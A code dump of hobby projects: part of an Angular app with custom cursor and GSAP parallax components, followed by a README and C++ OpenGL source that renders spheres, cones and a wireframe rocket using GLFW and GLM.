loadChildren: () => import('./pages/parallax-scroll/parallax-scroll.module').then(m => m.ParallaxScrollModule),
},
{
path: 'dynamic-svg-stroke',
loadChildren: () =>
import('./pages/dynamic-svg-stroke/dynamic-svg-stroke.module').then(m => m.DynamicSvgStrokeModule),
},
{
path: '',
component: DashboardComponent,
},
{
path: '**',
redirectTo: '/',
},
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule],
})
export class AppRoutingModule {}
<file_sep>/src/app/shared/shared.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { RouterModule } from '@angular/router';
import { CustomCursorModule } from '../modules/custom-cursor/custom-cursor.module';
import { RingCursorComponent } from './ring-cursor/ring-cursor.component';
import { PageHeaderComponent } from './page-header/page-header.component';
import { LandscapeCardComponent } from './landscape-card/landscape-card.component';
import { SafePipe } from './pipes/safe.pipe';
@NgModule({
declarations: [RingCursorComponent, PageHeaderComponent, LandscapeCardComponent, SafePipe],
imports: [CommonModule, RouterModule, CustomCursorModule],
exports: [CustomCursorModule, RingCursorComponent, PageHeaderComponent, LandscapeCardComponent, SafePipe],
})
export class SharedModule {}
<file_sep>/src/app/modules/custom-cursor/custom-cursor.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { PortalModule } from '@angular/cdk/portal';
import { OverlayModule } from '@angular/cdk/overlay';
import { CustomCursorContainerComponent } from './custom-cursor-container.component';
import { CursorTrackerComponent } from './cursor-tracker/cursor-tracker.component';
@NgModule({
declarations: [CustomCursorContainerComponent, CursorTrackerComponent],
imports: [CommonModule, PortalModule, OverlayModule],
exports: [CursorTrackerComponent],
})
export class CustomCursorModule {}
<file_sep>/src/app/shared/ring-cursor/ring-cursor.component.ts
import {
ChangeDetectionStrategy,
ChangeDetectorRef,
Component,
HostListener,
Input,
Output,
QueryList,
ViewChildren,
EventEmitter,
} from '@angular/core';
import {
CursorMoveEvent,
CursorTrackerComponent,
} from 'src/app/modules/custom-cursor/cursor-tracker/cursor-tracker.component';
@Component({
selector: 'app-ring-cursor',
templateUrl: './ring-cursor.component.html',
styleUrls: ['./ring-cursor.component.scss'],
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class RingCursorComponent {
@ViewChildren(CursorTrackerComponent) cursorTrackers?: QueryList<CursorTrackerComponent>;
@Input() ringSize = 50;
@Input() color = 'cadetblue';
@Output() cursorMove = new EventEmitter<{ x: number; y: number }>();
isFix = false;
get x(): number {
return this._x;
}
set x(v: number) {
if (this._x !== v) {
this._x = v;
this.cursorMove.emit({ x: v, y: this.y });
}
}
_x = 0;
get y(): number {
return this._y;
}
set y(v: number) {
if (this._y !== v) {
this._y = v;
this.cursorMove.emit({ y: v, x: this.x });
}
}
_y = 0;
fixX = 0;
fixY = 0;
constructor(private cd: ChangeDetectorRef) {}
updateSize(size: number) {
this.ringSize = size;
this.cd.markForCheck();
}
fix(x: number, y: number) {
this.isFix = true;
this.x = x;
this.fixX = x;
this.y = y;
this.fixY = y;
this.cd.markForCheck();
}
unfix() {
this.isFix = false;
this.cd.markForCheck();
}
onCursorMove({ x, y }: CursorMoveEvent) {
this.x = x;
this.y = y;
}
@HostListener('window:mousemove', ['$event'])
onMouseMove(e: MouseEvent) {
if (!this.isFix) return;
const offsetX = this.getLogOffset(e.clientX, this.fixX);
const offsetY = this.getLogOffset(e.clientY, this.fixY);
if (offsetX !== -Infinity) {
this.x = this.fixX + offsetX;
}
if (offsetY !== -Infinity) {
this.y = this.fixY + offsetY;
}
}
private getLogOffset(a: number, b: number) {
const offset = a - b;
const sign = Math.sign(offset);
const absLog = getBaseLog(1.5, Math.abs(offset));
return sign > 0 ? absLog : -absLog;
}
}
function getBaseLog(x: number, y: number) {
return Math.log(y) / Math.log(x);
}
<file_sep>/src/app/pages/parallax-scroll/parallax-scroll.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { SharedModule } from 'src/app/shared/shared.module';
import { ParallaxScrollRoutingModule } from './parallax-scroll-routing.module';
import { ParallaxScrollComponent } from './parallax-scroll.component';
@NgModule({
declarations: [ParallaxScrollComponent],
imports: [CommonModule, ParallaxScrollRoutingModule, SharedModule],
})
export class ParallaxScrollModule {}
<file_sep>/src/app/pages/parallax-scroll/parallax-scroll.component.ts
import { AfterViewInit, Component, ElementRef, OnDestroy, ViewChild } from '@angular/core';
import gsap from 'gsap';
import ScrollTrigger from 'gsap/ScrollTrigger';
gsap.registerPlugin(ScrollTrigger);
@Component({
selector: 'app-parallax-scroll',
templateUrl: './parallax-scroll.component.html',
styleUrls: ['./parallax-scroll.component.scss'],
})
export class ParallaxScrollComponent implements AfterViewInit, OnDestroy {
mainTl?: GSAPTimeline;
constructor() {}
ngAfterViewInit(): void {
const mainTl = gsap.timeline();
const screens = document.querySelectorAll('.slide-cover-screen');
screens.forEach((screen, i) => {
const bg = screen.querySelector('.slide-cover-bg');
if (i === 0) {
mainTl.to(bg, {
y: (screen as HTMLElement).offsetHeight * 0.8,
ease: 'none',
scrollTrigger: {
trigger: screen,
scroller: '.scroll-container',
start: 'top top',
end: 'bottom top',
scrub: 0,
},
});
} else {
mainTl.fromTo(
bg,
{
y: -(screen as HTMLElement).offsetHeight * 0.8,
ease: 'none',
scrollTrigger: {
trigger: screen,
scroller: '.scroll-container',
scrub: 0,
},
},
{
y: (screen as HTMLElement).offsetHeight * 0.8,
ease: 'none',
scrollTrigger: {
trigger: screen,
scroller: '.scroll-container',
scrub: 0,
},
}
);
}
});
}
ngOnDestroy(): void {
this.mainTl?.kill();
}
}
<file_sep>/src/app/pages/dynamic-svg-stroke/dynamic-svg-stroke-routing.module.ts
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';
import { DynamicSvgStrokeComponent } from './dynamic-svg-stroke.component';
const routes: Routes = [{ path: '', component: DynamicSvgStrokeComponent }];
@NgModule({
imports: [RouterModule.forChild(routes)],
exports: [RouterModule]
})
export class DynamicSvgStrokeRoutingModule { }
<file_sep>/src/app/modules/custom-cursor/custom-cursor-container.component.ts
import {
Component,
ChangeDetectionStrategy,
ViewContainerRef,
ChangeDetectorRef,
ViewChild,
ComponentRef,
EmbeddedViewRef,
} from '@angular/core';
import { CdkPortalOutlet, ComponentPortal, TemplatePortal } from '@angular/cdk/portal';
import { CustomCursorConfig } from './custom-cursor-config';
@Component({
selector: 'app-custom-cursor-container',
templateUrl: './custom-cursor-container.component.html',
styleUrls: ['./custom-cursor-container.component.scss'],
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class CustomCursorContainerComponent {
@ViewChild(CdkPortalOutlet, { static: true }) portalOutlet?: CdkPortalOutlet;
isShow = true;
constructor(
public viewContainerRef: ViewContainerRef,
public config: CustomCursorConfig,
private cd: ChangeDetectorRef
) {}
show() {
this.isShow = true;
this.cd.markForCheck();
}
hide() {
this.isShow = false;
this.cd.markForCheck();
}
attach<T>(protal: TemplatePortal<T> | ComponentPortal<T>): ComponentRef<T> | EmbeddedViewRef<T> {
return this.portalOutlet?.attach(protal);
}
}
| 0cda75ff8a9bf3b61d9664a921a8c1331dfa627f | [
"TypeScript"
] | 20 | TypeScript | yurychang/special-effects-playground | 42947c0ea23f2288bf03fd6b58966ed2c8c972a8 | 2861f6d3009a0f655023e11cc8474f448fea56c5 |
refs/heads/master | <repo_name>vsulimovvv/css-js-<file_sep>/script.js
document.querySelectorAll('.card').forEach((item) => {
item.addEventListener('click', () => {
document.querySelector('.container').classList.toggle('container-origin');
});
}); | 63f53d45cb18c6af0028a6e1fa56b1cca8fc087a | [
"JavaScript"
] | 1 | JavaScript | vsulimovvv/css-js- | 46871d901bc79f508d6a5ccd35ad4abef747a352 | 5cf9fd7c7a7a5df72a2c4415975b18265fb2ae4a |
refs/heads/master | <file_sep># OpenGL-first-steps
My first work on OpenGL using C++.
I started with a wireframe sphere:

I moved on to a lighted sphere:

And for fun, I made a wireframe rocket:

Use 'premake4 gmake' and 'make' in command prompt in the same directory as the code files. Make sure the necessary libraries have been installed as per lab zero.
<file_sep>/*
This is a variation of tutorial3 using a single VBO for specifying the vertex
attribute data; it is done by setting the VertexAttribPointer parameters
"stride" and "pointer" to suitable values.
In particular for the pointer parameter, macro "offsetof" should be used so to
avoid problem with alignment and padding for different architecture.
Modified to use GLM
By <EMAIL>
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stddef.h> /* must include for the offsetof macro */
/*
*
* Include files for Windows, Linux and OSX
* __APPLE is defined if OSX, otherwise Windows and Linux.
*
*/
#ifdef __APPLE__
#define GLFW_INCLUDE_GLCOREARB 1
#include <GLFW/glfw3.h>
#else
#include <GL/glew.h>
#include <GLFW/glfw3.h>
#endif
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/gtc/type_ptr.hpp>
#include <vector>
#include <stdlib.h>
#include <math.h>
void Check(const char *where) { // Function to check OpenGL error status
const char * what;
int err = glGetError(); //0 means no error
if(!err)
return;
if(err == GL_INVALID_ENUM)
what = "GL_INVALID_ENUM";
else if(err == GL_INVALID_VALUE)
what = "GL_INVALID_VALUE";
else if(err == GL_INVALID_OPERATION)
what = "GL_INVALID_OPERATION";
else if(err == GL_INVALID_FRAMEBUFFER_OPERATION)
what = "GL_INVALID_FRAMEBUFFER_OPERATION";
else if(err == GL_OUT_OF_MEMORY)
what = "GL_OUT_OF_MEMORY";
else
what = "Unknown Error";
fprintf(stderr, "Error (%d) %s at %s\n", err, what, where);
exit(1);
}
void CheckShader(int sp, const char *x){
int length;
char text[1001];
glGetProgramInfoLog(sp, 1000, &length, text); // Check for errors
if(length > 0) {
fprintf(stderr, "Validate Shader Program\nMessage from:%s\n%s\n", x, text );
exit(1);
}
}
char* filetobuf(char *file) { /* A simple function that will read a file into an allocated char pointer buffer */
FILE *fptr;
long length;
char *buf;
fprintf(stderr, "Loading %s\n", file);
#pragma warning (disable : 4996)
fptr = fopen(file, "rb"); /* Open file for reading */
if (!fptr) { /* Return NULL on failure */
fprintf(stderr, "failed to open %s\n", file);
return NULL;
}
fseek(fptr, 0, SEEK_END); /* Seek to the end of the file */
length = ftell(fptr); /* Find out how many bytes into the file we are */
buf = (char*)malloc(length + 1); /* Allocate a buffer for the entire length of the file and a null terminator */
fseek(fptr, 0, SEEK_SET); /* Go back to the beginning of the file */
fread(buf, length, 1, fptr); /* Read the contents of the file in to the buffer */
fclose(fptr); /* Close the file */
buf[length] = 0; /* Null terminator */
return buf; /* Return the buffer */
}
struct Vertex {
Vertex(): color{0,1,0} {};
GLfloat position[3];
GLfloat color[3];
};
typedef struct{
Vertex p1, p2, p3;
} Facet;
/* These pointers will receive the contents of our shader source code files */
GLchar *vertexsource, *fragmentsource;
/* These are handles used to reference the shaders */
GLuint vertexshader, fragmentshader;
/* This is a handle to the shader program */
GLuint shaderprogram;
GLuint vao, conevao, cylindervao, vbo[1], conevbo[1], cylindervbo[1]; /* Create handles for our Vertex Array Object and One Vertex Buffer Object */
std::vector<Vertex> v, conev, cylinderv;
int mode = 0;
/* Mode 0 corresponds to a wireframe sphere, and is accessed by pressing A.
Mode 1 corresponds to a lighted sphere, and is accessed by pressing B.
Mode 2 corresponds to a basic wireframe rocket, and is accessed by pressing C.*/
/* Return the midpoint of two vectors */
Vertex Midpoint(Vertex p1, Vertex p2){
Vertex p;
p.position[0] = (p1.position[0] + p2.position[0])/2;
p.position[1] = (p1.position[1] + p2.position[1])/2;
p.position[2] = (p1.position[2] + p2.position[2])/2;
return p;
}
/* Normalise a vector */
void Normalise(Vertex *p){
float length;
length = sqrt(pow(p->position[0],2) + pow(p->position[1],2) + pow(p->position[2],2));
if(length != 0){
p->position[0] /= length;
p->position[1] /= length;
p->position[2] /= length;
} else{
p->position[0] = 0;
p->position[1] = 0;
p->position[2] = 0;
}
}
/* Although there is a function called CreateSphere that implements a sphere, CreateUnitSphere
contains the algorithm necessary to calculate the vertices and is therefore kept in a separate
function for ease of reuse in future code.
*/
int CreateUnitSphere(int iterations, Facet *facets){/* Algorithm to calculate vertices of sphere*/
int i, j, n, nstart;
Vertex p1,p2,p3,p4,p5,p6;
p1.position[0] = 0.0; p1.position[1] = 0.0; p1.position[2] = 1.0;
p2.position[0] = 0.0; p2.position[1] = 0.0; p2.position[2] = -1.0;
p3.position[0] = -1.0; p3.position[1] = -1.0; p3.position[2] = 0.0;
p4.position[0] = 1.0; p4.position[1] = -1.0; p4.position[2] = 0.0;
p5.position[0] = 1.0; p5.position[1] = 1.0; p5.position[2] = 0.0;
p6.position[0] = -1.0; p4.position[1] = -1.0; p4.position[2] = 0.0;
Normalise(&p1); Normalise(&p2); Normalise(&p3); Normalise(&p4); Normalise(&p5); Normalise(&p6);
facets[0].p1 = p1;facets[0].p2 = p4;facets[0].p3 = p5;
facets[1].p1 = p1;facets[1].p2 = p5;facets[1].p3 = p6;
facets[2].p1 = p1;facets[2].p2 = p6;facets[2].p3 = p3;
facets[3].p1 = p1;facets[3].p2 = p3;facets[3].p3 = p4;
facets[4].p1 = p2;facets[4].p2 = p5;facets[4].p3 = p4;
facets[5].p1 = p2;facets[5].p2 = p6;facets[5].p3 = p5;
facets[6].p1 = p2;facets[6].p2 = p3;facets[6].p3 = p6;
facets[7].p1 = p2;facets[7].p2 = p4;facets[7].p3 = p3;
n = 8;
for(i = 1; i<iterations; i++){
nstart = n;
for(j = 0; j<nstart; j++){
/* Create initial copies for the new facets */
facets[n] = facets[j];
facets[n+1] = facets[j];
facets[n+2] = facets[j];
/* Calculate the midpoints */
p1 = Midpoint(facets[j].p1, facets[j].p2);
p2 = Midpoint(facets[j].p2, facets[j].p3);
p3 = Midpoint(facets[j].p3, facets[j].p1);
/* Replace the current facet */
facets[j].p2 = p1;
facets[j].p3 = p3;
/* Create the changed vertices in the new facets */
facets[n].p1 = p1;
facets[n].p3 = p2;
facets[n+1].p1 = p3;
facets[n+1].p2 = p2;
facets[n+2].p1 = p1;
facets[n+2].p2 = p2;
facets[n+2].p3 = p3;
n += 3;
}
}
for(j = 0; j<n; j++){
Normalise(&facets[j].p1);
Normalise(&facets[j].p2);
Normalise(&facets[j].p3);
}
return(n);
}
void CreateCone(){
float cf = 0.0;
Vertex t;
t.color[0] = cf;
cf = 1. - cf;
t.color[1] = cf;
cf = 1. - cf;
t.color[2] = cf;
cf = 1. - cf;
conev.push_back(t); // Apex
int lod = 32;
float step = 2. * 3.141596 / float(lod);
float Radius = 1.;
for(float a = 0; a <= (2. * 3.141596 + step); a += step) {
float c = Radius * cos(a);
float s = Radius * sin(a);
t.position[0] = c;
t.position[1] = s;
t.position[2] = 2.0; // set to 0.0 for a circle, >= 1.0 for a cone.
t.color[0] = cf;
cf = 1. - cf;
t.color[1] = cf;
cf = 1. - cf;
t.color[2] = cf;
cf = 1. - cf;
conev.push_back(t);
}
printf("cone v Size %d\n", conev.size());
}
void CreateSphere(){/* Actually implementing the sphere */
int i;
int n = 5;
Facet *f = NULL;
f = (Facet *)malloc((int)pow(4,n) * 8 * sizeof(Facet)); // I added *8 because that's the expected number of facets
n = CreateUnitSphere(n,f);
printf("%d facets generated\n", n);
for(i = 0; i<n; i++){
v.push_back(f[i].p1);
v.push_back(f[i].p2);
v.push_back(f[i].p3);
}
printf("v Size %d\n", v.size());
}
void CreateCylinder(){
Vertex t;
float radius = 1.0, halfLength = 2;
int slices = 50;
for(int i = 0; i<slices; i++){
float theta = ((float)i) * 2.0 * M_PI/slices;
float nextTheta = ((float)i+1) * 2.0 * M_PI/slices;
// Vertex at middle of end
t.position[0]=0.0; t.position[1]=halfLength; t.position[2]=0.0;
cylinderv.push_back(t);
// Vertices at edges of circle
t.position[0]=radius*cos(theta); t.position[1]=halfLength; t.position[2]=radius*sin(theta);
cylinderv.push_back(t);
t.position[0]=radius*cos(nextTheta); t.position[1]=halfLength; t.position[2]=radius*sin(nextTheta);
cylinderv.push_back(t);
// Same vertices at bottom of cylinder
t.position[0]=radius*cos(theta); t.position[1]=-halfLength; t.position[2]=radius*sin(theta);
cylinderv.push_back(t);
t.position[0]=radius*cos(nextTheta); t.position[1]=-halfLength; t.position[2]=radius*sin(nextTheta);
cylinderv.push_back(t);
// Vertex at middle of end of bottom
t.position[0]=0.0; t.position[1]=-halfLength; t.position[2]=0.0;
cylinderv.push_back(t);
}
}
void SetupGeometry() {
if(mode == 0 || mode == 1){
int i;
int n = 5;
Facet *f = NULL;
f = (Facet *)malloc((int)pow(4,n) * 8 * sizeof(Facet));
n = CreateUnitSphere(n,f);
printf("%d facets generated\n", n);
for(i = 0; i<n; i++){ // Place vertices into vertex array
v.push_back(f[i].p1);
v.push_back(f[i].p2);
v.push_back(f[i].p3);
}
glGenVertexArrays(1, &vao);
glBindVertexArray(vao);
/* Allocate and assign One Vertex Buffer Object to our handle */
glGenBuffers(1, vbo);
/* Bind our VBO as being the active buffer and storing vertex attributes (coordinates + colors) */
glBindBuffer(GL_ARRAY_BUFFER, vbo[0]);
/* Copy the vertex data from cone to our buffer */
/* v,size() * sizeof(GLfloat) is the size of the cone array, since it contains 12 Vertex values */
glBufferData ( GL_ARRAY_BUFFER, v.size() * sizeof ( struct Vertex ), v.data(), GL_STATIC_DRAW );
/* Specify that our coordinate data is going into attribute index 0, and contains three doubles per vertex */
/* Note stride = sizeof ( struct Vertex ) and pointer = ( const GLvoid* ) 0 */
glVertexAttribPointer ( ( GLuint ) 0, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof (struct Vertex, position) );
/* Enable attribute index 0 as being used */
glEnableVertexAttribArray(0);
/* Specify that our color data is going into attribute index 1, and contains three floats per vertex */
/* Note stride = sizeof ( struct Vertex ) and pointer = ( const GLvoid* ) ( 3 * sizeof ( GLdouble ) ) i.e. the size (in bytes)
occupied by the first attribute (position) */
glVertexAttribPointer ( ( GLuint ) 1, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof(struct Vertex, color) ); // bug );
/* Enable attribute index 1 as being used */
glEnableVertexAttribArray ( 1 ); /* Bind our second VBO as being the active buffer and storing vertex attributes (colors) */
glBindVertexArray(0);
}
if(mode == 2){
CreateSphere();
CreateCone();
CreateCylinder();
// VAO settings for sphere
glGenVertexArrays(1, &vao);
glBindVertexArray(vao);
glGenBuffers(1, vbo);
glBindBuffer(GL_ARRAY_BUFFER, vbo[0]);
glBufferData ( GL_ARRAY_BUFFER, v.size() * sizeof ( struct Vertex ), v.data(), GL_STATIC_DRAW );
glVertexAttribPointer ( ( GLuint ) 0, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof (struct Vertex, position) );
glEnableVertexAttribArray(0);
glVertexAttribPointer ( ( GLuint ) 1, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof(struct Vertex, color) ); // bug );
glEnableVertexAttribArray ( 1 );
glBindVertexArray(0);
// VAO settings for cone
glGenVertexArrays(1, &conevao);
glBindVertexArray(conevao);
glGenBuffers(1, conevbo);
glBindBuffer(GL_ARRAY_BUFFER, conevbo[0]);
glBufferData ( GL_ARRAY_BUFFER, conev.size() * sizeof ( struct Vertex ), conev.data(), GL_STATIC_DRAW );
glVertexAttribPointer ( ( GLuint ) 0, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof (struct Vertex, position) );
glEnableVertexAttribArray(0);
glVertexAttribPointer ( ( GLuint ) 1, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof(struct Vertex, color) );
glEnableVertexAttribArray ( 1 );
glBindVertexArray(0);
// VAO settings for cylinder
glGenVertexArrays(1, &cylindervao);
glBindVertexArray(cylindervao);
glGenBuffers(1, cylindervbo);
glBindBuffer(GL_ARRAY_BUFFER, cylindervbo[0]);
glBufferData ( GL_ARRAY_BUFFER, cylinderv.size() * sizeof ( struct Vertex ), cylinderv.data(), GL_STATIC_DRAW );
glVertexAttribPointer ( ( GLuint ) 0, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof (struct Vertex, position) );
glEnableVertexAttribArray(0);
glVertexAttribPointer ( ( GLuint ) 1, 3, GL_FLOAT, GL_FALSE, sizeof ( struct Vertex ), ( const GLvoid* ) offsetof(struct Vertex, color) );
glEnableVertexAttribArray ( 1 );
glBindVertexArray(0);
}
}
void SetupShaders(void) {
/* Read our shaders into the appropriate buffers */
vertexsource = filetobuf("./mode1_mode3.vert");
fragmentsource = filetobuf("./mode1_mode3.frag");
/* Assign our handles a "name" to new shader objects */
vertexshader = glCreateShader(GL_VERTEX_SHADER);
fragmentshader = glCreateShader(GL_FRAGMENT_SHADER);
/* Associate the source code buffers with each handle */
glShaderSource(vertexshader, 1, (const GLchar**)&vertexsource, 0);
glShaderSource(fragmentshader, 1, (const GLchar**)&fragmentsource, 0);
/* Compile our shader objects */
glCompileShader(vertexshader);
glCompileShader(fragmentshader);
/* Assign our program handle a "name" */
shaderprogram = glCreateProgram();
glAttachShader(shaderprogram, vertexshader); /* Attach our shaders to our program */
glAttachShader(shaderprogram, fragmentshader);
glBindAttribLocation(shaderprogram, 0, "in_Position"); /* Bind attribute 0 (coordinates) to in_Position and attribute 1 (colors) to in_Color */
glBindAttribLocation(shaderprogram, 1, "in_Color");
glLinkProgram(shaderprogram); /* Link our program, and set it as being actively used */
CheckShader(shaderprogram, "Basic Shader");
glUseProgram(shaderprogram);
}
void SetupShaders2(void) {
vertexsource = filetobuf("./mode2.vert");
fragmentsource = filetobuf("./mode2.frag");
vertexshader = glCreateShader(GL_VERTEX_SHADER);
fragmentshader = glCreateShader(GL_FRAGMENT_SHADER);
glShaderSource(vertexshader, 1, (const GLchar**)&vertexsource, 0);
glShaderSource(fragmentshader, 1, (const GLchar**)&fragmentsource, 0);
glCompileShader(vertexshader);
glCompileShader(fragmentshader);
shaderprogram = glCreateProgram();
glAttachShader(shaderprogram, vertexshader);
glAttachShader(shaderprogram, fragmentshader);
glBindAttribLocation(shaderprogram, 0, "in_Position");
glBindAttribLocation(shaderprogram, 1, "in_Color");
glLinkProgram(shaderprogram);
CheckShader(shaderprogram, "Basic Shader");
glUseProgram(shaderprogram);
}
void Render() {
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
GLfloat angle;
glm::mat4 Projection = glm::perspective(45.0f, 1.0f, 0.1f, 100.0f);
float t = glfwGetTime();
float p = 400.;
t = fmod(t, p);
angle = t * 360. / p;
glm::mat4 View = glm::mat4(1.);
glm::mat4 Model = glm::mat4(1.0);
if((mode == 0)||(mode == 1)){
if(mode == 0){ /* Draw a wireframe sphere */
View = glm::translate(View, glm::vec3(0.f, 0.f, -5.0f));
View = glm::rotate(View, angle * -1.0f, glm::vec3(1.f, 0.f, 0.f));
View = glm::rotate(View, angle * 0.5f, glm::vec3(0.f, 1.f, 0.f));
View = glm::rotate(View, angle * 0.5f, glm::vec3(0.f, 0.f, 1.f));
glm::mat4 Model = glm::mat4(1.0);
}
if(mode == 1){ /* Draw a sphere with lighting */
View = glm::translate(View, glm::vec3(0.f, 0.f, -5.0f));
Model = glm::rotate(Model, angle * -1.0f, glm::vec3(0.f, 0.f, 1.f));
}
glm::mat4 MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
/* Bind our modelmatrix variable to be a uniform called mvpmatrix in our shaderprogram */
glClearColor(0.0, 0.0, 0.0, 1.0); /* Make our background black */
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glBindVertexArray(vao);
if(mode == 0){
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
glDrawArrays(GL_TRIANGLES, 0, v.size());
}
if(mode == 1){
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
glDrawArrays(GL_TRIANGLE_FAN, 0, v.size());
}
glBindVertexArray(0);
}
if(mode == 2){ /* Draw a basic wireframe rocket */
// Draw the sphere
glm::mat4 View = glm::mat4(1.);
View = glm::translate(View, glm::vec3(0.f, 0.f, -5.0f));
View = glm::scale(View, glm::vec3(0.5f, 0.5f, 0.5f));
View = glm::rotate(View, angle * -1.0f, glm::vec3(1.f, 0.f, 0.f));
View = glm::rotate(View, angle * 0.5f, glm::vec3(0.f, 1.f, 0.f));
View = glm::rotate(View, angle * 0.5f, glm::vec3(0.f, 0.f, 1.f));
glm::mat4 Model = glm::mat4(1.0);
glm::mat4 MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glClearColor(0.0, 0.0, 0.0, 1.0); /* Make our background black. Do NOT use when drawing several objects */
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glBindVertexArray(vao);
glDrawArrays(GL_TRIANGLES, 0, v.size());
glBindVertexArray(0);
// Draw the cylinder
Model = glm::translate(Model, glm::vec3(0.f, 0.f, 0.f));
GLfloat cylinder_angle = 90.0;
Model = glm::translate(Model, glm::vec3(0.f, 2.f, 0.f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(cylindervao);
glDrawArrays(GL_LINE_STRIP, 0, cylinderv.size());
glBindVertexArray(0);
// Draw cone
Model = glm::mat4(1.0);
GLfloat cone_angle = M_PI/2;
Model = glm::rotate(Model, cone_angle * 1.0f, glm::vec3(1.f, 0.f, 0.f));
Model = glm::translate(Model, glm::vec3(0.f, 0.f, -6.f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(conevao);
glDrawArrays(GL_TRIANGLE_FAN, 0, conev.size());
glBindVertexArray(0);
// second sphere
Model = glm::mat4(1.0);
Model = glm::translate(Model, glm::vec3(1.5f, 3.75f, 0.0f));
Model = glm::scale(Model, glm::vec3(0.5f, 0.5f, 0.5f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(vao); // Use vao for spheres, conevao for cones
glDrawArrays(GL_TRIANGLES, 0, v.size());
glBindVertexArray(0);
// third sphere
Model = glm::mat4(1.0);
Model = glm::translate(Model, glm::vec3(-1.5f, 3.75f, 0.0f));
Model = glm::scale(Model, glm::vec3(0.5f, 0.5f, 0.5f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(vao); // Use vao for spheres, conevao for cones
glDrawArrays(GL_TRIANGLES, 0, v.size());
glBindVertexArray(0);
// second cone
Model = glm::mat4(1.0);
Model = glm::rotate(Model, cone_angle * 1.0f, glm::vec3(1.f, 0.f, 0.f));
Model = glm::translate(Model, glm::vec3(1.5f, 0.f, -5.f));
Model = glm::scale(Model, glm::vec3(0.5f, 0.5f, 0.5f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(conevao);
glDrawArrays(GL_TRIANGLE_FAN, 0, conev.size());
glBindVertexArray(0);
// third cone
Model = glm::mat4(1.0);
Model = glm::rotate(Model, cone_angle * 1.0f, glm::vec3(1.f, 0.f, 0.f));
Model = glm::translate(Model, glm::vec3(-1.5f, 0.f, -5.f));
Model = glm::scale(Model, glm::vec3(0.5f, 0.5f, 0.5f));
MVP = Projection * View * Model;
glUniformMatrix4fv(glGetUniformLocation(shaderprogram, "mvpmatrix"), 1, GL_FALSE, glm::value_ptr(MVP));
glBindVertexArray(conevao);
glDrawArrays(GL_TRIANGLE_FAN, 0, conev.size());
glBindVertexArray(0);
}
}
static void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods) {
if ((key == GLFW_KEY_ESCAPE || key == GLFW_KEY_Q) && action == GLFW_PRESS)
glfwSetWindowShouldClose(window, GL_TRUE);
if ((key == GLFW_KEY_A) && action == GLFW_PRESS){
mode = 0;
SetupGeometry();
SetupShaders();
}
if ((key == GLFW_KEY_B) && action == GLFW_PRESS){
mode = 1;
SetupGeometry();
SetupShaders2();
}
if ((key == GLFW_KEY_C) && action == GLFW_PRESS){
mode = 2;
SetupGeometry();
SetupShaders();
}
}
int main( void ) {
GLFWwindow* window;
if( !glfwInit() ) {
printf("Failed to start GLFW\n");
exit( EXIT_FAILURE );
}
#ifdef __APPLE__
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 1);
glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
#endif
window = glfwCreateWindow(640, 480, "Hello World", NULL, NULL);
if (!window) {
glfwTerminate();
printf("GLFW Failed to start\n");
return -1;
}
/* Make the window's context current */
glfwMakeContextCurrent(window);
#ifndef __APPLE__
// IMPORTANT: make window current must be done so glew recognises OpenGL
glewExperimental = GL_TRUE;
int err = glewInit();
if (GLEW_OK != err) {
/* Problem: glewInit failed, something is seriously wrong. */
fprintf(stderr, "Error: %s\n", glewGetErrorString(err));
}
#endif
glfwSetKeyCallback(window, key_callback);
fprintf(stderr, "GL INFO %s\n", glGetString(GL_VERSION));
glEnable(GL_DEPTH_TEST);
SetupGeometry();
SetupShaders();
printf("Ready to render\n");
